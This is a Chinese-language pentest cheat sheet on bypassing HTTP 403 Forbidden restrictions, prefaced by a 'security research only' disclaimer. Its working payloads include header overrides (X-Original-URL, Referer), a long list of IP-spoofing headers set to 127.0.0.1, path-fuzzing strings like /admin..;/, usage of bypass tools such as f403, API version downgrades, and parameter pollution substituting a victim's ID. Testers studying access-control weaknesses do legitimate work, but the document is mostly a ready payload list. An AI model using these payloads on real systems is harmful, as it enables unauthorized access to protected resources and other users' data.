本文只用于安全研究,切勿非法使用,所承担的一切后果均与本人无关!
更改请求方法
GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
更换协议版本
如果使用 HTTP/1.1,请尝试使用 1.0,或者测试看它是否支持 2.0
更换user-agent
有的应用为了区分爬虫或者正常请求,会验证user-agent,看是否浏览器发出的请求
请求覆盖绕过
通过 X-Original-URL 和 X-Rewrite-URL 请求表头覆盖url中的路径,尝试绕过对更高级别的缓存和web服务器的限制
修改前:
Request
GET /test HTTP/1.1
Response
HTTP/1.1 403 Forbidden
修改后:
Reqeust
GET / HTTP/1.1
X-Original-URL: /test
Response
HTTP/1.1 200 OK
Referer表头饶过
通过更改Referer来绕过不严谨的服务端验证
修改前:
Request
GET /test HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
修改后:
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer: https://xxx/test
Response
HTTP/1.1 200 OK
HOST绕过
把HOST值修改为子域名或者IP来绕过
端口绕过
一般是运维的疏忽,开放两个端口,只有一个端口做了防护
利用nmap扫端口
HTTP头部绕过
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
Burp工具:https://github.com/TheKingOfDuck/burpFakeIP
burpFakeIP还可以伪造IP,爆破模块
目录扫描
御剑:https://github.com/maurosoria/dirsearch
目录扫描时,字典可以混合使用,目前来说御剑的字典还可以,也可以用其他人分享的字典,最重要的还是最后得自己整理下
路径模糊测试
使用特殊字符或包含 HTML 编码
还可尝试大小写绕过、系统特性绕过
///phpmyadmin///
//wp-admin//
/admin
/admin/
/admin//
//admin//
/admin/*
/admin/*/
/admin/.
/admin/./
/./admin/./
/admin/./.
/admin/./.
/admin?
/admin??
/admin???
/admin..;/
/admin/..;/
/%2f/admin
/%2e/admin
/admin%20/
/admin%09/
/%20admin%20/
工具:
https://github.com/iamj0ker/bypass-403
https://github.com/yunemse48/403bypasser
https://github.com/carl1l/f403 #推荐,可以自己diy403,比如自己突然发现新的绕过方法,可以自己写在f403.yaml中
如果直接下载releases,需要同时f403.yaml
或者直接git下载,然后自己使用go编译
-a, --AddHeader strings:这个选项允许用户添加自定义的HTTP头到请求中。例如,如果你想要添加一个Cookie和一个Referer头,你可以这样使用:-a 'cookie:123,Referer:https://www.baidu.com'。
-b, --bypassip strings:这个选项用于添加一个IP地址到特定的HTTP头后面,比如X-Client-IP或X-Forwarded-For,以尝试绕过基于IP的访问限制。例如:-b 192.168.1.1,30.1.1.1。默认值通常是127.0.0.1,localhost。
-h, --help:这个选项会显示f403工具的帮助信息,包括所有可用的命令行选项和它们的用法。
-d, --postdata string:这个选项允许用户在发送POST请求时添加POST数据。你可以传递表单数据,例如:-d 'username=admin&password=123456',或者传递JSON数据:-d '{"username":"admin","password":"123456"}'。
-p, --proxy string:这个选项允许用户通过指定的代理服务器发送请求,支持HTTP和SOCKS5代理。例如:-p 'http://127.0.0.1:8080' 或 -p 'socks5://127.0.0.1:8080'。
-u, --url string:这个选项指定了目标URL,即你想要测试绕过403 Forbidden错误的网址。
简单使用:
./f403 -u http://www.baidu.com/admin/
全参数使用:
./f403 -u http://www.baidu.com/asdf/admin/ -p http://127.0.0.1:8080 -a 'cookie: 123,Referer: https://www.baidu.com' -d 'admin=1&p=1' -b 1.1.1.1
Burp工具:403 Bypasser
其他方法
主要是利用API的特性或者各种语言的特性
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
V3提示403,但v1可能是废弃忘删除的,所以可以绕过
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染)
user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)